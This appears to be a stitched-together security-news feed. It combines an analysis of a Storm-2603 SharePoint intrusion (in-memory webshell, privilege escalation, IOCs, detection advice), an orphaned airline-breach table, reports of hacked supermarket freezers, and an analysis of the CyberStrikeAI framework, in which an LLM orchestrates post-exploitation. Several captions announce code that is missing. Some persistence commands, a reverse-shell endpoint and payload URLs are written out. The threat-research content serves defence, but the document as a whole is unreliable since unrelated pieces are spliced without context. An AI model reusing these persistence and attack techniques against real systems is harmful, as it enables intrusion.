Hackers are targeting outdated iPhones and Android phones through infected websites to steal passwords and sensitive data. Here's how to protect your device.
The post Hackers Target iPhones and Android Phones: Here’s What We Know appeared first on TechRepublic.
In 2025, several threat actors exploited CVE-2025-53770 and CVE-2025-53771 (ToolShell vulnerabilities) in on-premises Microsoft SharePoint to achieve remote code execution through crafted HTTP requests. One of the threat actors deployed ransomware on the target’s systems after successful exploitation. Microsoft attributed this ransomware-related ToolShell activity to Storm-2603, distinguishing it from other actors whose observed activity was primarily focused on credential theft, espionage, and data exfiltration.
In December, our retrospective analysis identified activity consistent with Storm-2603’s TTPs. This activity involved the attacker using the IIS worker process as an in-memory bridge to the customer’s infrastructure, keeping the access and control layer entirely within w3wp.exe without writing anything to disk. Although subsequent post-exploitation activity generated disk artifacts, the bridge used to maintain access remained memory-resident.
Let’s look in more detail at this attack.
The attack chain, from reconnaissance to infrastructure compromise
The intrusion analyzed in this report occurred in two stages, with a temporal gap between initial access and subsequent exploitation activity. The attack timeline was as follows:
Intrusion timeline
A vulnerability fingerprinting request on December 20 marked the first observed interaction with the target. The request originated from infrastructure associated with ONYPHE, an internet-scale attack surface discovery and management platform for identifying exposed assets, vulnerabilities, and cyberthreats. Unlike widely used tools such as Shodan and Censys, which merely provide a list of internet-facing assets correlated with the open-source data about known vulnerabilities, ONYPHE actually checks if the target system is vulnerable.
Fingerprinting with ONYPHE
The request characteristics were consistent with ONYPHE’s vulnerability checks, which use active, non-intrusive probes to identify internet-exposed systems vulnerable to specific CVEs. For ToolShell, ONYPHE adopted the approach used by Niels Hofmans (hazcod). Namely, it attempts to inject a harmless marker into the target server to find out if it is vulnerable.
OFFICIAL ONYPHE CVE CHECKER (TOOLSHELL)
This phase served as a validation step against the SharePoint execution surface exposed over HTTP:
Approximately 12 minutes later, a second inbound connection originated from infrastructure associated with Pfcloud UG, a provider operating under a bulletproof hosting (BPH) model. Given the timing and the IP’s documented history of scanning and abusive activity, the connection may represent follow-on reconnaissance against the newly identified target. No exploitation was attempted at this stage.
A connection from an IP address belonging to Pfcloud UG BPH
The main malicious activity occurred on December 24. The actor targeted the same SharePoint host with a crafted request from 45.91.94.204 (45.91.92.0/22, ASN 63473, HostHatch, LLC). This resulted in a webshell execution within the IIS worker process (w3wp.exe). The payload was not written to disk; rather, it was loaded directly into the ASP.NET runtime and used during subsequent request processing. The implant remained resident for the lifetime of the affected application domain. This runtime state was lost when the application pool was recycled or IIS was restarted.
The IP address 45.91.94.204 is a Safing Privacy Network (SPN) node. SPN routes each connection through a multilayer VPN path with multiple relay nodes that can obscure the originating IP.
SPN promotes itself as a network that offers strong privacy protection for internet traffic. Its infrastructure resembles Tor’s in many ways, but with some differences. It features the following capabilities:
It is less common than Tor, and frequently bypasses standard Tor blocklists.
The webshell the attackers injected into the w3wp.exe runtime is a multi-module in-memory framework, where execution is orchestrated through the main component (G.cs) and extended via multiple functional units across namespaces.
The implementation follows a modular C# project structure in which each capability is isolated into its own compilation unit and invoked dynamically at runtime.
Webshell components
The main webshell component is G.cs. It orchestrates the implant’s execution context, lifecycle, C2 and session management.
To ensure persistence within the runtime, G.cs performs the following actions:
Entrar
VirtualPathProvider using the non-public RegisterVirtualPassProviderInternal method from the ASP.NET HostingEnvironment class so that ASP.NET uses it for virtual-path processing. The provider is automatically added to the chain of registered virtual path providers.
Additionally, to evade defenses and enable the VirtualPathProvider to be registered even if the application in whose AppDomain the webshell is running is precompiled, the module implements the trust control subversion (T1553) technique:
BuildManager class, which manages application compilation, and modifies them at runtime.
G.cs uses the GetCacheKey() function as the interception point for the virtual path processing flow. It processes incoming requests to the SharePoint server and checks their headers to filter out requests from the attacker.
The specific User-Agent in the request headers triggers the webshell execution. If the request doesn’t match this condition, the implant remains dormant, making its traffic harder to recognize.
The same core module (G.cs) implements the communication layer.
Instead of relying on external frameworks or standard beacons, it uses a custom binary protocol with XOR-based obfuscation to exchange data with the C2. These communications blend into normal application traffic. The module uses the GetCacheKey() hook to intercept standard HTTP requests. When a specific User-Agent is detected in the request headers, the module parses it, extracts the payload, and establishes a TCP connection to a target host inside the target’s network if needed.
Bidirectional TCP tunnel initialization
G.cs establishes a full-duplex proxy tunnel to support interactive control. It stores active target sockets in memory to pair concurrent HTTP read and write channels.
TCP connections from the C2 server to arbitrary hosts inside the target network are supported for pivoting and lateral movement. The traffic is proxied through the SharePoint host.
Target-to-attacker data channel
Attacker-to-target data channel
As can be seen in the screenshots, the attackers used the suo5 tool to implement traffic proxying. Its authors promote it as a stable forward-proxying tool for scenarios where outbound internet connections are prohibited.
To increase its performance, G.cs manipulates ThreadPool by raising its limits for concurrent operations and maximum timeout.
ThreadPool manipulation
Prog.cs is the entry point that receives command-line arguments and passes them to uk/London.cs. The latter acts as the orchestrator, handling command parsing and privilege escalation (via named pipe impersonation). We’ll review it in more detail later. If the “suo5” command is provided, London.cs triggers G.cs to hook into the ASP.NET runtime as a memory shell. Once active, G.cs independently processes incoming web traffic inside the web server memory.
The following modules provide direct system interaction capabilities, each implemented as a separate unit. London.cs triggers these modules when it receives a corresponding command from Prog.cs.
The FileDownloader.cs module downloads arbitrary files from external URLs provided by the C2. It stores the downloaded files in the Program Data directory without any user interaction.
This module enumerates logged-on users and identifies their session types (interactive, service, remote). The results are stored in memory. The attackers can retrieve them using the proxy and tunneling capabilities provided by G.cs.
This module lists running processes with full paths to the corresponding executables on the disk. The results are stored in memory and the attackers can retrieve them via G.cs.
This module extracts information about existing network connections, including protocols, local and remote IPs and ports, and connection state. It also enumerates network interfaces and headers. The results are stored in memory and can be retrieved by the attackers via G.cs.
This module silently installs and executes MSI packages previously downloaded by FileDownloader.cs.
This module creates administrative accounts using the native SAM RPC subsystem (SAMRPCNative namespace) rather than standard command-line tooling. This may indicate an attempt to evade detection and provide the attackers with privileged stealthy access to target systems that persists after the webshell has finished its work.
The SAMRPCNative namespace implements a low-level C# P/Invoke wrapper for the native Windows samlib.dll library, comprising three types: SAMStructs.cs, SAMMethods.cs, and SAMEnums.cs.
Implements structured bitwise lists and constant flags mapping numeric codes to their security meaning in SAM, and translates system status return codes.
Defines native data structures required for P/Invoke memory alignment and for marshalling. It securely formats and aligns data structures.
Contains external API declarations (P/Invoke) imported from samlib.dll to perform actions such as connecting to the SAM server, creating users and opening domains.
This layer is crucial for the attackers because it enables account operations.
The uk namespace contains offensive primitives for privilege escalation. To elevate privileges to SYSTEM, it uses a local token impersonation technique via the Encrypting File System Remote Protocol (EFSRPC) interface adopted from the EfsPotato tool.
This functionality is implemented in the uk/London class. It creates a malicious named pipe while the EfsrTiny class (a tiny version of the EfsPotato tool) connects to the LSASS.exe RPC server. Then it’s London.RpcThread function calls the EfsRpcEncryptFileSrv function from EfsrTiny with a crafted \\localhost path. This tricks LSASS.exe into connecting back to the attacker’s named pipe. Finally, the London.Exp function uses ImpersonateNamedPipeClient to coerce and impersonate the LSASS.exe token and spawn a new process via CreateProcessAsUser with SYSTEM privileges. As the webshell resides in the IIS worker process, it has the necessary SeImpersonatePrivilege to perform this technique.
The uk namespace also implements a minimal MSRPC client layer by explicitly defining structures such as RPC_CLIENT_INTERFACE and MIDL_STUB_DESC, thereby spoofing an interface stub. This enables direct interaction with the Windows RPC runtime (Rpcrt4.dll) without relying on MIDL-generated stubs or higher-level RPC abstractions. This provides direct control over binding and marshaling that goes beyond the constraints of standard client APIs.
Shortly after the webshell injection, the infected worker process spawned msiexec.exe to install a remote MSI payload hosted in Supabase cloud storage. The payload was Velociraptor, an open-source digital forensics and incident response tool – namely version 0.73.4.0 vulnerable to CVE-2025-6264 – that the attackers abused for command execution on the target network.
In October 2025, Cisco Talos reported Velociraptor being leveraged by threat actors as a post-compromise execution framework and attributed this activity to Storm-2603. This tool enables arbitrary command execution, and can be used for various purposes. In our case, it was used for persistence, discovery, data collection and payload execution.
The threat actor used Velociraptor to deploy multiple independent tunneling mechanisms, including Zoho Assist-Unattended Support for unauthorized remote access, VS Code CLI tunneling, Cloudflare Tunnel, and a lightweight reverse proxy utility. By doing so, they attempted to maintain access even if some of their tools were detected and deleted. At this stage, they also no longer depended on the IIS worker process lifecycle and ToolShell vulnerability.
Once the threat actor had access to the target system, they were able to upload a vulnerable driver that is used by many attackers to terminate EDR solutions. We were able to detect the main driver at C:\programdata\rsndispot.sys (054a32d6033b1744dca7f49b2e466ea2). In addition, the adversary used a malicious DLL (2d9ebf9c042f596f435865b40edad928) in a sideloading attack. This DLL was identified as Warlock ransomware’s AV killer. It was possibly intended to kill security solutions using the vulnerable rsndispot.sys driver.
The attackers made attempts to launch ransomware on the compromised system. However, the Proactive Defense Module in Kaspersky Endpoint Security blocked the ransomware process, effectively preventing this activity. The malware DLL we obtained was identified as Warlock ransomware.
When the attackers tried to access ToolPane, both the dynamically compiled App_Web_toolpane.aspx assembly and the Microsoft.GeneratedCode helper assembly were present within the same application domain.
Both assemblies are used in legitimate scenarios. App_Web_* assemblies are generated during normal ASP.NET page compilation, while Microsoft.GeneratedCode is typically produced by the XmlSerializer during legitimate serialization workflows. However, a request to the ToolPane endpoint that results in immediate loading of Microsoft.GeneratedCode within the same execution window indicates that the runtime is processing serialized data supplied through the request.
First, it is highly recommended to read this article (in Russian) on how deserialization exploit attempts in the CLR should be detected, with examples of YARA rules and monitoring recommendations. A summary of the main idea of the detection logic is provided below.
Deserialization vulnerabilities should be treated as a distinct class of exploitation events. In the CLR, deserialization is not merely the conversion of bytes into values – it is the reconstruction of an object graph from an incoming stream. Serialization and deserialization are performed by formatters. One of the most widely used formatters is BinaryFormatter. It uses the NRBF format, which defines the stream as a sequence of records describing classes, arrays, primitives, and references between objects. The shape of the resulting graph is determined by the data supplied to the deserializer. This means that the input stream defines not only the values but also the specific types, relationships, and lifecycle points that the runtime must materialize.
Microsoft states explicitly that BinaryFormatter is unsafe and cannot be made safe; beginning with .NET 9, the in-box implementation is effectively removed from ordinary use. However, Microsoft continues to use it in its products, including SharePoint, because it is powerful and easy to use. To fix BinaryFormatter-related issues, architectural changes are needed. Similar warnings also apply to related unsafe mechanisms, including LosFormatter (used in the vulnerable page).
The primary risk of unsafe deserialization is that the CLR may resolve unexpected types, instantiate objects outside normal constructor invariants, and invoke special lifecycle mechanisms such as ISerializable, IObjectReference, IDeserializationCallback, and methods marked [OnDeserialized]. In other words, the attacker-controlled data can force the runtime to construct a graph containing types with executable side effects.
A practical detection strategy should therefore focus on graph-construction artifacts. CLR loader events identify the relevant assemblies and application domains. Memory and metadata inspection then reveal the type names and generated serializer structures associated with the suspected gadget chain. In ToolShell-like scenarios, unsafe deserialization usually produces helper assemblies (evidence in loader events) with metadata containing fully qualified type names, gadget class names, and string representations of the constructed generic types (just scan via YARA for it). In our case, the artifacts to look for include Microsoft.GeneratedCode, App_Web_toolpane.aspx* (evidence of deserialization in loader events) as well as strings identifying ObjectDataProvider, ExpandedWrapper, and LosFormatter (evidence that the input stream was deserialized into dangerous objects). Note that these indicators are not significant in isolation; their value lies in the fact that they show the runtime has already received data requiring helper code generation to reconstruct a dangerous object graph.
Gadget objects that exploit vulnerabilities like those associated with ToolShell are conveniently represented in corpus-style tooling such as ysoserial.net/YSoNet, which aggregate known gadget chains for unsafe .NET deserialization. For defensive purposes, the value of these projects lies not in their offensive capability but in the catalog of types and structures that can be searched for in streams, memory, and helper assemblies. The presence of any of them in memory or in a helper assembly should be treated as a strong indicator of exploitation.
To simplify deserialization exploit detection, we created a tool named CLRDeserializationExploitFinder. It can detect ToolShell exploitation attempts, as well as other gadget chains covered by ysoserial.net.
A mechanism based on VirtualPathProvider should be treated as a separate class of runtime implant (no files involved). In ASP.NET, HostingEnvironment.RegisterVirtualPathProvider registers a new virtual-path provider (VPP) in the application’s compilation system. Once registered, the application can serve virtual paths during dynamic compilation as though they were ordinary on-disk pages. Dynamic compilation does not require the payload to exist as a file in the filesystem. It operates entirely within the trust boundary of the application itself. During the compilation process, temporary files may be generated, but they cannot be treated as reliable forensic artifacts. Because VPPs can also be used for legitimate purposes, the defensive model should begin with an inventory of the legitimate VirtualPathProvider implementations. In all other cases, the registration or use of a new VPP should be considered anomalous.
To see how the dynamic generation of virtual pages using ASP.NET, IIS, and the CLR works, and to learn how to detect such activity, use our project VirtualPathProvider Lab.
The most useful telemetry source for this technique is the Microsoft-Windows-IIS-Configuration ETW provider. To detect virtual paths, events 25 and 47 are of primary value. Event 25 records the mapping of ConfigPath to PhysicalPath, and event 47 records the mapping of the configuration path to a directory. In the case of a VPP-backed path, these events create an inconsistency: IIS and ASP.NET behave as if the path has a physical representation, while the corresponding file does not exist on disk. In the example provided by VirtualPathProvider Lab, this appears as a mapping of the virtual resource googlecheck.aspx to a physical path where no real file is present. This discrepancy between configuration resolution and filesystem reality is the primary indicator of virtual content.
The second indicator is more negative than positive. For disk-backed files, IIS normally creates a FileChangeNotificationMonitor chain, as reflected in events 17, 18, 19, and 21. For virtual paths served by a custom VirtualPathProvider, this chain is absent or does not match the normal profile of an ordinary file because there is no physical object or corresponding on-disk change lifecycle. Consequently, the presence of positive events 25 and 47 combined with the absence of the expected events 17, 18, 19, and 21 for the same path forms a reliable detection pattern: the path exists for IIS as a configuration-resolved resource, yet it is not backed by the filesystem and is not accompanied by normal file-change monitoring.
To sum up, the hunting target here is the discrepancy between how IIS/ASP.NET resolves a resource and what is actually present on the disk and in the change-monitoring chain. For known applications, such cases can be filtered through an allowlist of legitimate VirtualPathProvider implementations. Anything else should be treated as a potential runtime implant and examined using ETW, filesystem verification, and memory inspection of the w3wp.exe process.
Microsoft tracks Storm-2603 as a standalone threat actor with no known links to other groups. While they are careful about assessing the actor’s motivation, they mention that it has previously deployed Warlock and LockBit ransomware following active exploitation of on-premises SharePoint vulnerabilities. In the analyzed incident, we observed similar SharePoint exploitation activities, as well as an EDR killer associated with Warlock ransomware and unsuccessful Warlock launch attempts.
Other documented intrusions have identified Storm-2603 as leveraging known flaws within perimeter mail gateways to achieve initial access, subsequently staging the Velociraptor framework with elevated privileges and establishing persistent encrypted tunnels via commercial remote management software to orchestrate secondary lateral movement. This aligns with the post-exploitation behavior we observed in our case. Together with the ToolShell exploitation scenario, this allows us to attribute this case to Storm-2603 with moderate confidence.
From the incident analyzed in this article, the main defensive lesson is that exploiting an internet-facing SharePoint server can enable fileless code execution directly inside the application trust boundary. Storm-2603 did not require a conventional dropper, persistent service, or exposed C2 endpoint; instead, it deployed a webshell inside w3wp.exe, from which tunneling, privilege escalation, credential access, and lateral movement could be orchestrated. Detection therefore needs to move beyond file-based webshell hunting toward runtime behavior, such as anomalous w3wp.exe activity, unexpected outbound connections, RPC coercion, token impersonation, and the introduction of remote-management or DFIR tooling after application compromise.
To correctly attribute malicious activity and develop appropriate response measures, defenders should reconstruct execution chains and temporal relationships across application, host, and identity layers. They should also preserve memory and IIS telemetry, and correlate low-signal reconnaissance with subsequent privileged activity rather than evaluating events in isolation. A confirmed SharePoint exploit with code execution should trigger host-level containment, persistence hunting, credential and exposed MachineKey rotation, and TTP-driven investigation rather than remediation limited to the initial exploit or known IOCs.
Kaspersky products detect the threats mentioned in this article as:
| Indicator of compromise | Description |
| 45.91.94[.]204 | SPN node |
| 0xFD91321BF7FF7245DDA9B7B5D791ACE8 | vskp2 – webshell implant |
| hxxps://vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi | Vulnerable Velociraptor package |
| 0x3A55D8F8F29716C694671834D8C6CB29 | C:\ProgramFiles\Velociraptor\Velociraptor.exe |
| hxxps://auth[.]qgtxtebl[.]workers[.]dev/ | Velociraptor server URL |
| 199.232.210[.]172 | C2 traffic relay |
| 0x991EC6E04413F2D4D29341C17A8A54D5 | Abused legitimate VS Code |
| 0x3D553B9061C03F891CE97D7D2E64DDEE | VS Code Insiders for tunneling |
| 91.224.92[.]121 | Bulletproof-hosted C2 server |
| 49.51.132[.]100 | SPN node |
| hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64[.]msi | Abused legitimate tunneling tool |
| 0x2C32E44A013CBFC5A323EFB7694701D2 | Abused tunneling tool executable |
| hxxps://files[.]catbox[.]moe/8f7vex[.]msi | Abused Zoho Assist Unattended Agent download URL |
| 0x112A86ECA3CB5A0B5E20AB744CC5AF93 | 7z.exe renamed for sideloading |
| 0xA930F81E3FB0A226EC5904D9043A17B8 | C:\ProgramFiles(x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z |
| 204.76.203[.]219 | Bulletproof-hosted C2 server |
| 0x054a32d6033b1744dca7f49b2e466ea2 | Vulnerable driver |
| Airline | Reported impact |
| Japan Airlines (JAL) | About 92,000 passenger records |
| Cathay Pacific Airways | About 53,000 passenger bookings |
| Singapore Airlines (SIA) | About 46,000 booking records |
| All Nippon Airways (ANA) | Up to 37,800 customer profiles |
| Malaysia Airlines | Customer data exposed across August 2023 to September 2026 |
| Korean Air | Unauthorised access to customer reservation databases |
| Asiana Airlines | Passenger booking references exposed through system account credentials |
| Condor Airlines | Part of the German leisure carrier's international flight data accessed |
| Airline | Link to the breach |
| Japan Transocean Air (JTA) | Affected through parent company Japan Airlines |
| Air Do | Affected through shared system pathways with ANA |
| StarFlyer | Affected through shared system pathways with ANA |
| Solaseed Air | Affected through shared system pathways with ANA |
| Ibex Airlines | Still determining the scope of exposure via its ANA integration |
| Oriental Air Bridge | Still determining the scope of exposure via its ANA integration |
Mandiant warns that enterprise LLMJacking cloud attacks drain API quotas. Attackers use LLMJacking cloud attacks to resell access via illicit mixer portals.
Related Posts:
The post Threat Actors Hijack Enterprise AI Models in Costly LLMJacking Cloud Attacks appeared first on Daily CyberSecurity.
Suspected cyberattacks disrupted refrigeration across seven European countries. Learn how stores were affected and what EMEA retailers should do next.
The post European Supermarket Freezers Set to 122°F in Suspected Hacks appeared first on TechRepublic.
mSeven Software, the developer of the mSecure password manager, has advised customers to secure all confidential data stored in the app after detecting “suspicious activity.” The notice provides minimal technical details. The email is dated November 3, 2026. It says mSeven “recently learned of suspicious activity associated with the mSecure password management application.” The company […]
The post mSecure Password Manager Reports Suspicious Activity, Urges Users to Change All Stored Passwords appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.
A new wave of fridge cyberattacks has affected supermarket refrigeration systems in several European countries. Fridges and freezers suddenly rose in temperature overnight, with some incidents suspected to be caused by hackers. On Monday, November 2, Ahold Delhaize and Colruyt reported an IT incident affecting dozens of stores in Belgium and Luxembourg. Swedish supermarket chains ICA and Coop also reported similar problems.
“Ahold Delhaize and Colruyt said on Monday that an IT incident overnight hit fridges and freezers in dozens of stores in Belgium and Luxembourg, while Swedish grocers ICA and Coop reported similar temperature spikes, with one store blaming a cyberattack.” Reuters states.
BREAKING:
— GeoInsider (@InsiderGeo) November 2, 2026
The incident has likely resulted in large quantities of food… pic.twitter.com/wrcmGHw1qV
“Problems were discovered at several grocery stores in Sweden overnight Monday.” reported Sweden Herald.
“We are aware that a limited number of stores were affected by an incident overnight that affected their refrigeration and freezer systems. Ica is providing support in handling the incident, Ica Group press officer Gustaf Nilsson tells TT.”
The latest incidents follow a similar wave of fridge cyberattacks in France last month. In mid-October, a large cyberattack hit the refrigeration systems of hundreds of French supermarkets, BFMTV revealed. The attackers targeted equipment from the Danish maker Danfoss that many French stores use to regulate their cold. Fresh and frozen stock was destroyed, and the Paris prosecutor says there were also fires.
The method is simple and nasty. Refrigeration systems have a forced defrost function that clears ice buildup, and the attackers appear to have triggered it remotely in a continuous mode, with a temperature setting of 50 degrees. The equipment heated for several hours instead of keeping goods cold, and when staff opened the fridges and freezers in the morning, a sector source told BFM, “a wave of heat” came out.
The attack caused fires and food losses. However, cybersecurity consultant Emil Olofsson of Integrity 360 told Swedish news agency TT that temperatures reached 80°C in some cases and several units caught fire. This figure differs from the one reported by police.
ICA Kvantum in Sjöbo said on Facebook that a cyberattack caused the refrigeration problems. ICA Hägerstensåsen in Stockholm was also reportedly affected. According to the Sjöbo store, the temperature inside its fridges and freezers rose to 50°C.
In Belgium, Delhaize detected unusual temperature increases in its refrigeration systems on Monday. Spokesperson Sarah De Meester said the company is investigating the incident.
Stephan Moelans, CEO of Sabcobel, the company that manages Delhaize’s refrigeration systems, told news agency Belga that hackers had switched the units’ evaporators to defrost mode. His office declined to comment to Reuters. Colruyt Group, which operates Spar stores in Belgium through a franchise system, said five stores had suffered attacks on their refrigeration systems. Meanwhile, Belgian newspaper Le Soir reported that dozens of Delhaize and Carrefour stores were affected.
— Coffe Report (@CoffeReport) November 2, 2026
IN SWEDEN:
• At least 6 ICA supermarkets affected by suspected refrigeration system hacks.
• Coop has now CONFIRMED that 6 of its stores in central Sweden are also affected.
• Freezer… https://t.co/a3oGMrGdmz pic.twitter.com/8Q3CFDDLhT
It follows a similar attack in France last month. Police said hackers seized control of the cooling units at hundreds of supermarkets and raised temperatures as high as 50 degrees Celsius (122 Fahrenheit), which caused fires and food losses. Cybersecurity consultant Emil Olofsson of Integrity 360 told TT, Sweden’s news agency, that temperatures there reached 80 degrees and some units caught fire, a figure that differs from the police number.
In Belgium, Delhaize noticed temperature increases in its cooling systems on Monday, spokesperson Sarah De Meester said, and the company is investigating. Stephan Moelans, CEO of the refrigeration firm Sabcobel, which runs Delhaize’s systems, told the news agency Belga it was a cyberattack that switched the units’ evaporators to defrost mode. His office declined to comment to Reuters. Colruyt Group, which runs Spar stores in Belgium under a franchise system, said five shops had their fridge systems attacked, and Le Soir reported that dozens of Delhaize and Carrefour stores were affected.
Ahold also reported a cybersecurity incident to Dutch police last month, after it detected suspicious activity in its infrastructure. Nothing in the reporting ties that report to Monday’s incident.
—
Delhaize said about 40 of its Belgian stores were affected… pic.twitter.com/qzw6uDybWb
In Sweden, John Billow, head of the national cybersecurity centre, told Reuters his team was working on several incidents involving refrigeration systems in grocery stores around the country. An ICA Kvantum store in Sjöbo said on Facebook that a cyberattack caused its problems, and an ICA store told its followers that its temperatures had been “hacked” overnight and set to 50 degrees. Fifty degrees is fine for a beach and poor for ice cream. That store later said it had opened.
At ICA Baronen in Stockholm, a notice said all the freezers were broken because of a cyberattack. The sales manager said the attack came at 2 a.m. and staff noticed it at 5:30 a.m. ICA Hägerstensåsen in Stockholm was reportedly hit too.
ICA said only a limited number of stores were affected and that it is helping them deal with the incident. However, press officer Gustaf Nilsson did not say how many stores were involved.
Coop told Swedish news agencies Aftonbladet and TT that six stores in central Sweden had similar problems. Press manager Carlos Cancino said it was still unclear whether any food would need to be thrown away or whether the refrigeration units had simply stopped working or had switched to heating mode. He also did not rule out further incidents affecting other stores.
An Estonian supermarket chain was also affected. Its refrigeration systems were reportedly set to 50°C, technology provider Kitman Coldtech told public broadcaster ERR. CEO Jann Mutso did not reveal the name of the supermarket chain, saying: “This is very recent. It happened this morning.”
How did the attackers get in? In France, Olofsson says they obtained login details for the control systems, which were exposed directly to the internet. He says the attack targeted a product that controls the cooling systems and that the hack isn’t very complicated, so amateurs may have carried it out.
Billow says Swedish authorities have noticed in recent weeks that quite a lot of exposed operational technology devices exist in Sweden, and they’ve been clear that these must be updated or patched.
Refrigerators and heating systems, security cameras and alarm networks were once largely mechanical, and now they can be monitored and controlled remotely. That gives cybercriminals new openings. Authorities haven’t said who was behind last month’s incidents, and nobody has claimed responsibility.
The Sweden Herald reported that the cause of the attacks on Swedish supermarkets remains unknown.
Update 20:00 Rome Time
The company at the center of the European supermarket refrigeration cyberattacks is Danfoss the same company whose refrigeration systems were targeted during the cyberattacks in France a few weeks ago.
— GeoInsider (@InsiderGeo) November 2, 2026
Danfoss says the incidents are primarily exploiting vulnerabilities in… pic.twitter.com/3tDNVMOyhn
Follow me on Twitter: @securityaffairs and Facebook and Mastodon
(SecurityAffairs – hacking, fridge cyberattacks)
As part of proactive threat monitoring, Kaspersky’s Cyber Threat Intelligence team identified a malicious campaign involving C2 agents controlled by artificial intelligence. Confirmed victims of the campaign included organizations in the education sector in several countries across Africa and Latin America. CyberStrikeAI played a key role in the post-exploitation phase. This is an open-source framework in which an LLM orchestrator on the command-and-control server plans actions, selects tools, and generates commands, while an implant executes them on compromised hosts. Using CyberStrikeAI, the attackers progressed from reconnaissance to full domain compromise.
According to our data, this is one of the first public descriptions of a compromise involving an LLM in the wild. The campaign we discovered clearly illustrates how the role of AI in attackers’ arsenals is evolving: until recently, language models were used primarily during preparatory stages – for writing phishing emails, debugging code, or searching for vulnerabilities. Now, however, they are being embedded into the very core of the attack, automating actions at every stage: payload execution, persistence on the host, discovery, lateral movement, and, finally, data collection and exfiltration. Post-exploitation – the stage that traditionally required manual work by an experienced operator – plays a particularly significant role here.
A key feature of the scheme using the CyberStrikeAI framework is that the implant ceases to be a simple tool for executing the operator’s commands. Decisions are distributed across two levels: the operator defines the task in general terms, while the model determines how to execute it – specifically, which commands to send to the host and in what sequence. Thus, the strategic planning remains with the human, while the choice of technical steps is delegated to the model, and the implant executes the model’s decisions.
To understand how this scheme works in practice, let’s examine the chain of actions taken by the attackers, as reconstructed by our analysts during the incident investigation.
Let’s examine the timeline of the attack using an example from one incident within the detected campaign.
The first phase follows a standard approach: a human operator gains access to the victim’s infrastructure via a compromised SQL Server (version 16.0.1000), then collects basic information about the host, deploys tools, and conducts network reconnaissance. All of this activity takes nearly a day, followed by a two-week pause.
The second phase is fundamentally different. The first step involves deploying the CyberStrikeAI C2 agent, which receives commands from a server-based LLM orchestrator. During the second phase, the agent performs the following:
We’ll discuss these stages in more detail in the next section.
CyberStrikeAI is an open-source, modular platform written in Go for automating penetration testing. Its key feature is combining LLM-based attack orchestration and a built-in C2 server with agents (beacons) within a single server process.
The entire “intelligent” layer is isolated on the control server. C2 functions (calling reconnaissance and exploitation utilities, managing webshell connections, assigning tasks to agents, and reading results) are available to the model as MCP tools. The implant is a classic C2 agent with no AI functionality – no API keys, no calls to AI service APIs, and no autonomous logic. It periodically polls the listener server via HTTP/S, TCP, or WebSocket, executes shell commands, and interacts with the file system. To the victim, this activity looks like a typical remote-control session, where a server-side LLM orchestrator queues tasks instead of a live operator. The LLM influences how decisions are made, but not how the corresponding commands are delivered to the host.
Although CyberStrikeAI is publicly available, specific instances of the framework can be linked to specific attackers or campaigns. Detection and attribution are possible based on the following artifacts:
not_before field effectively records the time the process was launched. Accordingly, as with Cobalt Strike, the chronology of restarts can be reconstructed from the scan history.
CyberStrikeAI control panel’s self-signed TLS certificate
go version -m) contains a path to the main package, which includes data pointing to the built-in CyberStrikeAI generator – a temporary directory with the build identifier. This path is identical for all payloads, making it a reliable signature. Additionally, the build info field contains version control system metadata, which can be used to compare samples against one another.X-Implant-Token header with a fixed value in the HTTP request. The token is unique to each C2 server and is embedded into the malicious payload during the build phase; therefore, it serves as both a network indicator and a sign that the samples belong to the same server.
HTTP header parameters sent by the implant to the server
It should be noted that the implant version does not reflect the server version. The implant can operate for months while the operator updates the server-side components: listener configurations and keys are preserved during updates. In the incidents we detected, we observed the use of a single agent version throughout the entire incident. In such cases, the sample’s build date may indicate the earliest possible deployment date of the CyberStrikeAI infrastructure, but it still does not provide an estimate of the compromise duration.
The first malicious commands on the victims’ systems in the campaign under investigation originated from the sqlservr.exe process, indicating the likely initial access vector and the context in which the attackers gained the ability to execute code. It is important to note that the commands marked as having been executed prior to agent installation were executed manually by the attacker specifically within the context of this process. At this stage, we are not yet dealing with automated implant activity, but rather with manual actions by the operator.
Before launching the agent on the machines, the attackers checked for its presence using a PowerShell script, from which we can deduce its default deployment paths: C:\Windows\Temp\, C:\Windows\, C:\ProgramData\, C:\Temp. At the same time, the attacker can disguise the agent’s name as that of a legitimate system process. In the example below, it mimics svchost.exe (svchosts.exe)
Checking for the presence of the CyberStrikeAI agent on the system
Delivery and execution of the CyberStrikeAI agent
Like most C2 agents for Windows, CyberStrikeAI uses PowerShell to execute its payload. When a request is received from the operator, the commands to be executed are additionally encoded in Base64 to bypass keyword-based detection.
Decoded form of the command:
When administrative privileges were available (for example, a domain administrator account), instead of executing commands directly, the agent on remote hosts often created scheduled tasks so that the malicious payload would run with SYSTEM privileges:
An alternative method that does not use schtasks utility is to create a task via the Schedule.Service COM object:
The payload (p1.ps1) from the example above is a reverse shell that connects to the server at 185.186.245[.]144:5501:
The p1.ps1 payload and similar scripts were distributed across the network using shared network administrative folders and the WMI protocol, which we will describe in more detail in the Lateral Movement section.
In addition to encoding commands in Base64 and obfuscating SQL/LDAP queries – which we will describe in the Collection & Exfiltration and Discovery sections, respectively – the attackers split the malicious payload into multiple files. It is noteworthy that the scripts were transmitted in this manner even before the agent was installed – that is, at a stage where human intervention is typically required – yet they clearly bear the hallmarks of being generated by an LLM.
Below is a sequential record of several script fragments written to the file d3.b64.
Subsequently, the attackers used the certutil utility to decode the resulting file and executed it with the following command:
Once assembled and decoded, the script’s contents looked like this:
The script is a tool for decrypting DPAPI secrets from the file C:\ProgramData\dsn_line.txt. This file, in turn, is populated by the following command, which searches for a DSN string containing connection settings in the SQL Server Reporting Services configuration file rsreportserver.config and copies its contents to dsn_line.txt.
It is worth noting that some of the scripts delivered and executed as described above contain comments in Chinese (## – researcher’s comments).
If the CyberStrikeAI implant was successfully delivered, the first step was to establish persistence on the target system. To do this, the agent created a scheduled task named SystemUpdate, which specified the path to the implant as the action to be performed:
Analysis of the framework’s source code revealed an alternative method of persistence: by adding a value to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run, where the name of the created value matches the task name (SystemUpdate).
Agent persistence on Linux systems is also implemented in two ways – by adding the entry @reboot <path_to_beacon> & to the user’s crontab (in which case the process runs at system startup), or by adding the line (nohup <path_to_beacon> &>/dev/null &) to ~/.bashrc (in which case the agent starts when an interactive bash shell is opened).
